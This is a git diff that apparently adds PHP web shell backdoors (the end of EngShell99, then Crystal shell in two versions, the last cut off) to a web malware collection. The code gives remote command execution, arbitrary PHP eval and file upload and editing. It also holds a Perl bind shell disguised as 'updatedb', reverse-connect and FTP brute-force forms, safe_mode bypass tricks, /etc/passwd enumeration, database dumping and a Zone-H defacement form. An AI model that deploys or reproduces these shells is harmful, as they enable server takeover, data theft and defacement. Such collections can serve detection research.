id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.''.$table_end1.$fe; +} +if(!$safe_mode&&$unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"".$lang[$language.'_text16'].$arrow."","".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow."".in('text','rem_file',78,'http://')); +echo sr(15,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"".$lang[$language.'_text59'].$arrow."",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"".$lang[$language.'_text91'].$arrow."",in('radio','compress',0,'none',1).' '.$arh); +echo $te.''.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."".$fs."".$fe.$fs."".$fe."
        ".$ts; +echo "
        ".$lang[$language.'_text87']."
        "; +echo sr(25,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"".$lang[$language.'_text37'].$arrow."",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"".$lang[$language.'_text38'].$arrow."",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("admin@fbi.gov")))); +echo sr(25,"".$lang[$language.'_text89'].$arrow."",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +echo sr(25,"".$lang[$language.'_text90'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."
        ".$ts; +echo "
        ".$lang[$language.'_text100']."
        "; +echo sr(25,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"".$lang[$language.'_text37'].$arrow."",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"".$lang[$language.'_text38'].$arrow."",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("admin@fbi.gov")))); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +echo sr(25,"".$lang[$language.'_text89'].$arrow."",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"".$lang[$language.'_text90'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."
        "; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts; +echo sr(15,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." )"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.''.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."".$fs."".$ts; +echo "
        ".$lang[$language.'_text103']."
        "; +echo sr(25,"".$lang[$language.'_text105'].$arrow."",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("iamnothacker@yahoo.co.id"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"".$lang[$language.'_text106'].$arrow."",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("admin@fbi.gov")))); +echo sr(25,"".$lang[$language.'_text107'].$arrow."",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello hacker")))); +echo sr(25,"".$lang[$language.'_text108'].$arrow."",''); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."".$fe.$fs."".$ts; +echo "
        ".$lang[$language.'_text104']."
        "; +echo sr(25,"".$lang[$language.'_text105'].$arrow."",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("iamnothacker@yahoo.co.id"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"".$lang[$language.'_text106'].$arrow."",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("admin@fbi.gov")))); +echo sr(25,"".$lang[$language.'_text107'].$arrow."",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from EngShell99")))); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +echo sr(25,"".$lang[$language.'_text91'].$arrow."",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."".$fe.""; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = ''; +echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."".$fs."".$ts; +echo "
        ".$lang[$language.'_text40']."
        "; +echo sr(35,"".$lang[$language.'_text80'].$arrow."",$select); +echo sr(35,"".$lang[$language.'_text111'].$arrow."",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' . '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow."",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."".$fe.$fs."".$ts; +echo "
        ".$lang[$language.'_text83']."
        "; +echo sr(35,"".$lang[$language.'_text80'].$arrow."",$select); +echo sr(35,"".$lang[$language.'_text111'].$arrow."",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"".$lang[$language.'_text39'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"".$lang[$language.'_text84'].$arrow."".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."

        ".in('submit','submit',0,$lang[$language.'_butt1'])."
        ".$fe.""; +} +if(!$safe_mode&&$unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."".$fs."".$ts; +echo "
        ".$lang[$language.'_text9']."
        "; +echo sr(40,"".$lang[$language.'_text10'].$arrow."",in('text','port',15,'11457')); +echo sr(40,"".$lang[$language.'_text11'].$arrow."",in('text','bind_pass',15,'e99')); +echo sr(40,"".$lang[$language.'_text20'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."".$fe.$fs."".$ts; +echo "
        ".$lang[$language.'_text12']."
        "; +echo sr(40,"".$lang[$language.'_text13'].$arrow."",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"".$lang[$language.'_text14'].$arrow."",in('text','port',15,'11457')); +echo sr(40,"".$lang[$language.'_text20'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."".$fe.$fs."".$ts; +echo "
        ".$lang[$language.'_text22']."
        "; +echo sr(40,"".$lang[$language.'_text23'].$arrow."",in('text','local_port',15,'11457')); +echo sr(40,"".$lang[$language.'_text24'].$arrow."",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"".$lang[$language.'_text25'].$arrow."",in('text','remote_port',15,'6667')); +echo sr(40,"".$lang[$language.'_text26'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."".$fe.""; +} +echo ''.$table_up3."
        o-[ HackArt - EngShell99 version ".$version." ]-o
        ".$f; +echo ''; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/Crystal.txt b/web-malware-collection-master/Backdoors/PHP/Crystal.txt new file mode 100755 index 0000000..ae925d5 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Crystal.txt @@ -0,0 +1,1127 @@ + + + + +Crystal shell + + + + + + + + + + +
        + +
        +

         

        +

        + + CRYSTAL-H + Crystal hack shellphp 2006-2007

        +

        + + +

        + + ON (secure)"; + + +} + +else {$safemode = false; $hsafemode = "OFF (not secure)";} +echo("Safe-mode: $hsafemode"); +// PHPINFO +if ($_GET['action'] == "phpinfo") { + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() bị cấm"; + exit; +} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} +else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} +echo("
        "); +echo("Open base dir: $hopenbasedir"); +echo("
        "); +echo "PostgreSQL: "; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "ON";}else{echo "OFF
        ";} +echo("
        "); +echo "MSSQL: "; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "ON";}else{echo "OFF";} +echo("
        "); +echo "MySQL: "; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "ON"; } else { echo "OFF"; } +echo("
        "); +echo "PHP version: ".@phpversion().""; +echo("
        "); +echo "cURL: ".(($curl_on)?("ON"):("OFF")); + +echo("
        "); +echo "Disable functions : "; +if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); + +?> +

        +

         

        + + +

        +

         

        + +
        + + + +

        +

         

        +

        +
        + + + + OS:  

        +Server:   + +

        + + +

        User: + + + + + +
        +
        +
        1: +
        + +
          Back + + +phpinfo2 + + + + Tools4 + + + +  + +Decoderi + + + +  + + +ByPass` + + + +  + +SQL + + + + Bind + + + +help +sabout + +?

        +

        +[j + + + + server + : + + + + + + + + + + CGI v:          +  HTTP v:  Mail +admin:        + + +  
        + + + + + + + :  IP +  SERVER: + + + + + + + +          + + +                  + + +port + : + + + + +

        +������ ����� ����� ���� �������

        ����� ��������
        ��� ���� �������� ���� ��� ��� ������ ������ ������ ������
        ������ �� ������� ������ .
        ";} +if ($act == "bindport"){ +echo "
        +/bin/bash +Port + + +
        "; +} +if ($act == "tools"){ + echo "
        +File to edit: + + +
        "; + echo "
        +
        + +
        "; +echo "
        +
        Download here from: + +-->>: + + +
        "; +} +if ($act == "about") {echo "
        Coding by:

        Super-Crystal
        &
        Mohajer22
        -----
        Thanks
        TrYaG Team
        ArabSecurityCenter Team
        CRYSTAL-H Version:0 Beta phpshell code
        Saudi Arabic .
        ";} + +if ($act == "bind") {echo "
        CRYSTAL-H:

        -Connect �� ������ ��� ����.
        .- ��� ����� ����� �������� �������
        .-���� ����� ���� ��� ����� ���
        nc -lp 3333������ ������ -
        �������� ���� ������
        Bind port to :
        bind shell ������ � �� .
        ";} + +if ($act == "command") {echo "
        CRYSTAL-H:

        ������� ������� ������� Select ------ x ���� ��� ������
        .- ���� ���� ����� ������� ����� �� ����� �������
        Command .
        ";} + +if ($act == "team") {echo "
        Arab Security Center Team

        Super-Crystal
        Medo-HaCKer
        Anaconda
        Alsb0r
        ReeM-HaCK
        NoOFa
        AL-Alame
        The YounG HackeR
        Anti-Hack
        Thanks .
        ";} +if (array_key_exists('image', $_GET)) { + header('Content-Type: image/gif'); + die(getimage($_GET['image'])); +} + +if ($act == "bypass") { +echo " +
        +
        Execute:
        +"; +echo (" bypass safemode with copy "); +echo "
        +
        read file : + +
        "; +echo (" bypass safemode with CuRl"); +echo "
        +
        read file : + +
        "; +echo (" bypass safemode with imap()"); +echo "
        +
        + +
        "; +echo (" bypass safemode with id()"); +echo "
        +
        + +
        "; +echo (" Exploit: error_log()"); +echo "
        +
        + +
        "; +} +if ($act == "decoder"){ +echo (" replace Chr()"); +echo "
        +
        +
        +
        "; +} +if ($act == "SQL"){ +echo (" MySQL "); +echo "
        +
        Username : +\n +password : +\n +\n +
        "; +} +?> + + + +
        + +
        + + + +

        +  

        +

          + +
        + + + Exploit: error_log() By * Super-Crystal * + + + + + +
        By * Super-Crystal * TrYaG Team
        + + + +
        + + +
        +
        + + +
        +
        + + + +
        +", 3,$ERORR); +} +// id // +if ($_POST['plugin'] ){ + + + switch($_POST['plugin']){ + case("cat /etc/passwd"): + for($uid=0;$uid<6000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "
        "; + } + } + + break; + + + } + } + +// imap // +$string = !empty($_POST['string']) ? $_POST['string'] : 0; +$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; + +if ($string && $switch == "file") { +$stream = imap_open($string, "", ""); + +$str = imap_body($stream, 1); +if (!empty($str)) +echo "
        ".$str."
        "; +imap_close($stream); +} elseif ($string && $switch == "dir") { +$stream = imap_open("/etc/passwd", "", ""); +if ($stream == FALSE) +die("Can't open imap stream"); +$string = explode("|",$string); +if (count($string) > 1) +$dir_list = imap_list($stream, trim($string[0]), trim($string[1])); +else +$dir_list = imap_list($stream, trim($string[0]), "*"); +echo "
        ";
        +for ($i = 0; $i < count($dir_list); $i++)
        +echo "$dir_list[$i]"."

         

        " ; +echo "
        "; +imap_close($stream); +} +// CURL // +if(empty($_POST['curl'])){ +} else { +$m=$_POST['curl']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +} + +// copy// +$u1p=""; +$tymczas=""; +if(empty($_POST['copy'])){ +} else { +$u1p=$_POST['copy']; +$temp=tempnam($tymczas, "cx"); +if(copy("compress.zlib://".$u1p, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +} else { +die("
        Sorry... File +".htmlspecialchars($u1p)." dosen't exists or you don't have +access.
        "); +} +} + +@$dir = $_POST['dir']; +$dir = stripslashes($dir); + +@$cmd = $_POST['cmd']; +$cmd = stripslashes($cmd); +$REQUEST_URI = $_SERVER['REQUEST_URI']; +$dires = ''; +$files = ''; + + + + +if (isset($_POST['port'])){ +$bind = " +#!/usr/bin/perl + +\$port = {$_POST['port']}; +\$port = \$ARGV[0] if \$ARGV[0]; +exit if fork; +$0 = \"updatedb\" . \" \" x100; +\$SIG{CHLD} = 'IGNORE'; +use Socket; +socket(S, PF_INET, SOCK_STREAM, 0); +setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); +bind(S, sockaddr_in(\$port, INADDR_ANY)); +listen(S, 50); +while(1) +{ + accept(X, S); + unless(fork) + { + open STDIN, \"<&X\"; + open STDOUT, \">&X\"; + open STDERR, \">&X\"; + close X; + exec(\"/bin/sh\"); + } + close X; +} +";} + +function decode($buffer){ + +return convert_cyr_string ($buffer, 'd', 'w'); + +} + + + +function execute($com) +{ + + if (!empty($com)) + { + if(function_exists('exec')) + { + exec($com,$arr); + echo implode(' +',$arr); + } + elseif(function_exists('shell_exec')) + { + echo shell_exec($com); + + + } + elseif(function_exists('system')) +{ + + echo system($com); +} + elseif(function_exists('passthru')) + { + + echo passthru($com); + + } +} + +} + + +function perms($mode) +{ + +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + + + + + + +if(isset($_POST['post']) and $_POST['post'] == "yes" and @$HTTP_POST_FILES["userfile"][name] !== "") +{ +copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]); +} + +if((isset($_POST['fileto']))||(isset($_POST['filefrom']))) + +{ +$data = implode("", file($_POST['filefrom'])); +$fp = fopen($_POST['fileto'], "wb"); +fputs($fp, $data); +$ok = fclose($fp); +if($ok) +{ +$size = filesize($_POST['fileto'])/1024; +$sizef = sprintf("%.2f", $size); +print "
        Download - OK. (".$sizef."??)
        "; +} +else +{ +print "
        Something is wrong. Download - IS NOT OK
        "; +} +} + +if (isset($_POST['installbind'])){ + +if (is_dir($_POST['installpath']) == true){ +chdir($_POST['installpath']); +$_POST['installpath'] = "temp.pl";} + + +$fp = fopen($_POST['installpath'], "w"); +fwrite($fp, $bind); +fclose($fp); + +exec("perl " . $_POST['installpath']); +chdir($dir); + + +} + + +@$ef = stripslashes($_POST['editfile']); +if ($ef){ +$fp = fopen($ef, "r"); +$filearr = file($ef); + + + +$string = ''; +$content = ''; +foreach ($filearr as $string){ +$string = str_replace("<" , "<" , $string); +$string = str_replace(">" , ">" , $string); +$content = $content . $string; +} + +echo "
        Edit file: $ef
        + +
        +
        "; +fclose($fp); +} + +if(isset($_POST['savefile'])){ + +$fp = fopen($_POST['savefile'], "w"); +$content = stripslashes($content); +fwrite($fp, $content); +fclose($fp); +echo "
        saved -OK!
        "; + +} + + +if (isset($_POST['php'])){ + +echo "
        eval code

        +
        "; +} + + + +if(isset($_POST['phpcode'])){ + +echo "
        Results of PHP execution

        "; +@eval(stripslashes($_POST['phpcode'])); +echo "
        "; + + +} + + +if ($cmd){ + +if($sertype == "winda"){ +ob_start(); +execute($cmd); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} +else{ +ob_start(); +echo decode(execute($cmd)); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} + +if (trim($buffer)){ +echo "
        Command: $cmd
        "; +} + +} +$arr = array(); + +$arr = array_merge($arr, glob("*")); +$arr = array_merge($arr, glob(".*")); +$arr = array_merge($arr, glob("*.*")); +$arr = array_unique($arr); +sort($arr); +echo ""; + +foreach ($arr as $filename) { + +if ($filename != "." and $filename != ".."){ + +if (is_dir($filename) == true){ +$directory = ""; +$directory = $directory . "";} +else{ +$directory = $directory . ""; + +} + +if (is_readable($filename) == true){ +$directory = $directory . "";} +else{ +$directory = $directory . ""; +} +$dires = $dires . $directory; +} + +if (is_file($filename) == true){ +$file = ""; +$file = $file . "";} +else{ +$file = $file . ""; +} + +if (is_readable($filename) == true){ +$file = $file . "";} +else{ +$file = $file . ""; +} +$files = $files . $file; +} + + + +} + + + +} +echo $dires; +echo $files; +echo "
        NameTypeSizeLast accessLast changePermsWriteRead
        $filename" . filetype($filename) . "" . date("G:i j M Y",fileatime($filename)) . "" . date("G:i j M Y",filemtime($filename)) . "" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$directory = $directory . "YesNoYesNo
        $filename" . filetype($filename) . "" . filesize($filename) . "" . date("G:i j M Y",fileatime($filename)) . "" . date("G:i j M Y",filemtime($filename)) . "" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$file = $file . "YesNoYes
        No

        "; + + + + +echo " +
        +Command: + + +Directory: +
        "; + + + + + +if (ini_get('safe_mode') == 1){echo "
        SAFE MOD IS ON
        +Including from here: " +. ini_get('safe_mode_include_dir') . "
        Exec here: " . ini_get('safe_mode_exec_dir'). "
        ";} + + + + +?> + + +

        +


        + < 


        + +

        + + :: + Executed command ::

        + +Command:"; +?> + f

        +  

        +
        +
        + Selectg 
        Bind port to
        +
        + + + + + + + +
        +

        + + + + ::Edit/Create + file::"

        +  ������� ��������:

        �� ���� ��� ����� ���� ���� ������ ���
        ���� ���� ����� ��� config.php ����
        Edit
        ����� �� ����� ��� ������� �����
        ����� � ��� ���� ����� ��� ��� �� ���� �� ��������
        ���� ���� ���� ������ washer-crystal.txt .
        ";} +?> +

        +

         

        +

        +File to edit: + + +

        "; +?> +

        +

        + ��� �������:

        �� ������ ����� ������ ����
        ���� ���� �� ������ ��� ������ ������
        UPLOAD< .
        ";} +?>:: + + + upload::Ņ

          + + + + +
        "; +?> +

        + +

         Defacer Zone-H

          +

        + CRYSTAL-H:

        ��� ������ Defacer
        ������ ������� Victim
        ��� �������� �� ��� ������ ���� ��������� Attack Mode
        ��� �������� Attack Reason
        ������ �������� sand
        ����� ��� ��������� ������� ������� Attacks On Hold.
        ";} +?>

        + + + Defacer + + Zone-h

        + + + + + +
        + + + +
        + + + +
         
        + + + + + + + + +
        + ::Defacer::: + +
        + ::Victim::: +
        + + Attack Mode: +
        + + Attack Reason: +
        + + +
         
        + + + +
        +   :   + +L + + Attacks On Hold + +L

        +
        +

        + +  yCrystal shell v. 1 beta  �oded by TrYaG Team l Arab Security Center Team |securityCenter| + : Web x

         

        + + + + +
        + +  + + + +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        CRYSTAL-H + 2006
        PPSCPCC
        1
        2 3 4 5 6 7 8
        9 10 11 12 1314 15
        16 17 181920 21 22
        23242526272829
        3031
        + +
        + + + diff --git a/web-malware-collection-master/Backdoors/PHP/CrystalShell v.1.txt b/web-malware-collection-master/Backdoors/PHP/CrystalShell v.1.txt new file mode 100755 index 0000000..4496b1d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/CrystalShell v.1.txt @@ -0,0 +1,929 @@ + + + + + +Crystal shell + + +
        + +
        +

         

        +

        + + CRYSTAL-H + Crystal hack shellphp 2006-2007     +0.2

        +

        + + +

        + + ON (secure)"; + + +} + +else {$safemode = false; $hsafemode = "OFF (not secure)";} +echo("Safe-mode: $hsafemode"); +// PHPINFO +if ($_GET['action'] == "phpinfo") { + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() bị cấm"; + exit; +} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} +else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} +echo("
        "); +echo("Open base dir: $hopenbasedir"); +echo("
        "); +echo "PostgreSQL: "; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "ON";}else{echo "OFF
        ";} +echo("
        "); +echo "MSSQL: "; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "ON";}else{echo "OFF";} +echo("
        "); +echo "MySQL: "; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "ON"; } else { echo "OFF"; } +echo("
        "); +echo "PHP version: ".@phpversion().""; +echo("
        "); +echo "cURL: ".(($curl_on)?("ON"):("OFF")); + +echo("
        "); +echo "Disable functions : "; +if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); + +?> +

        +

         

        + + +

        +

         

        + +
        + + + +

        +

         

        +

        +
        + + + + OS:  

        +Server:   + +

        + + +

        User: + + + + + +
        +
        +
        1: +
        + +
          + Back + + +phpinfo2 + + + + Tools4 + + + +  + +Decoderi + + + +  + + +ByPass` + + + +  + +SQL + + + + Bind + + + +help +sabout + +?

        +

        +[j + + + + server + : + + + + + + + + + + CGI v:          +  HTTP v:  Mail +admin:        + + +  
        + + + + + + + :  IP +  SERVER: + + + + + + + +          + + +                  + + +port + : + + + + +

        +������ ����� ����� ���� �������

        ����� ��������
        ��� ���� �������� ���� ��� ��� ������ ������ ������ ������
        ������ �� ������� ������ .
        ";} +if ($act == "bindport"){ +echo "
        +/bin/bash +Port + + +
        "; +} +if ($act == "tools"){ + echo "
        +File to edit: + + +
        "; + echo "
        +
        + +
        "; +echo "
        +
        Download here from: + +-->>: + + +
        "; +} +if ($act == "about") {echo "
        Coding by:

        Super-Crystal
        &
        Mohajer22
        -----
        Thanks
        TrYaG Team
        ArabSecurityCenter Team
        CRYSTAL-H Version:0 Beta phpshell code
        Saudi Arabic .
        ";} + +if ($act == "bind") {echo "
        CRYSTAL-H:

        -Connect �� ������ ��� ����.
        .- ��� ����� ����� �������� �������
        .-���� ����� ���� ��� ����� ���
        nc -lp 3333������ ������ -
        �������� ���� ������
        Bind port to :
        bind shell ������ � �� .
        ";} + +if ($act == "command") {echo "
        CRYSTAL-H:

        ������� ������� ������� Select ------ x ���� ��� ������
        .- ���� ���� ����� ������� ����� �� ����� �������
        Command .
        ";} + +if ($act == "team") {echo "
        Arab Security Center Team

        Super-Crystal
        Medo-HaCKer
        Anaconda
        Alsb0r
        ReeM-HaCK
        NoOFa
        AL-Alame
        The YounG HackeR
        Anti-Hack
        Thanks .
        ";} +if (array_key_exists('image', $_GET)) { + header('Content-Type: image/gif'); + die(getimage($_GET['image'])); +} + +if ($act == "bypass") { +echo " +
        +
        Execute:
        +"; +echo (" bypass safemode with copy "); +echo "
        +
        read file : + +
        "; +echo (" bypass safemode with CuRl"); +echo "
        +
        read file : + +
        "; +echo (" bypass safemode with imap()"); +echo "
        +
        + +
        "; +echo (" bypass safemode with id()"); +echo "
        +
        + +
        "; +echo (" Exploit: error_log()"); +echo "
        +
        + +
        "; +} +if ($act == "decoder"){ +echo (" replace Chr()"); +echo "
        +
        +
        +
        "; +} +if ($act == "SQL"){ +echo (" MySQL "); +echo "
        +
        Username : +\n +password : +\n +\n +
        "; +} +?> + + + +
        + +
        + + + +

        +  

        +

          + +
        + + + Exploit: error_log() By * Super-Crystal * + + + + + +
        By * Super-Crystal * TrYaG Team
        + + + +
        + + +
        +
        + + +
        +
        + + + +
        +", 3,$ERORR); +} +// id // +if ($_POST['plugin'] ){ + + + switch($_POST['plugin']){ + case("cat /etc/passwd"): + for($uid=0;$uid<6000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "
        "; + } + } + + break; + + + } + } + +// imap // +$string = !empty($_POST['string']) ? $_POST['string'] : 0; +$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; + +if ($string && $switch == "file") { +$stream = imap_open($string, "", ""); + +$str = imap_body($stream, 1); +if (!empty($str)) +echo "
        ".$str."
        "; +imap_close($stream); +} elseif ($string && $switch == "dir") { +$stream = imap_open("/etc/passwd", "", ""); +if ($stream == FALSE) +die("Can't open imap stream"); +$string = explode("|",$string); +if (count($string) > 1) +$dir_list = imap_list($stream, trim($string[0]), trim($string[1])); +else +$dir_list = imap_list($stream, trim($string[0]), "*"); +echo "
        ";
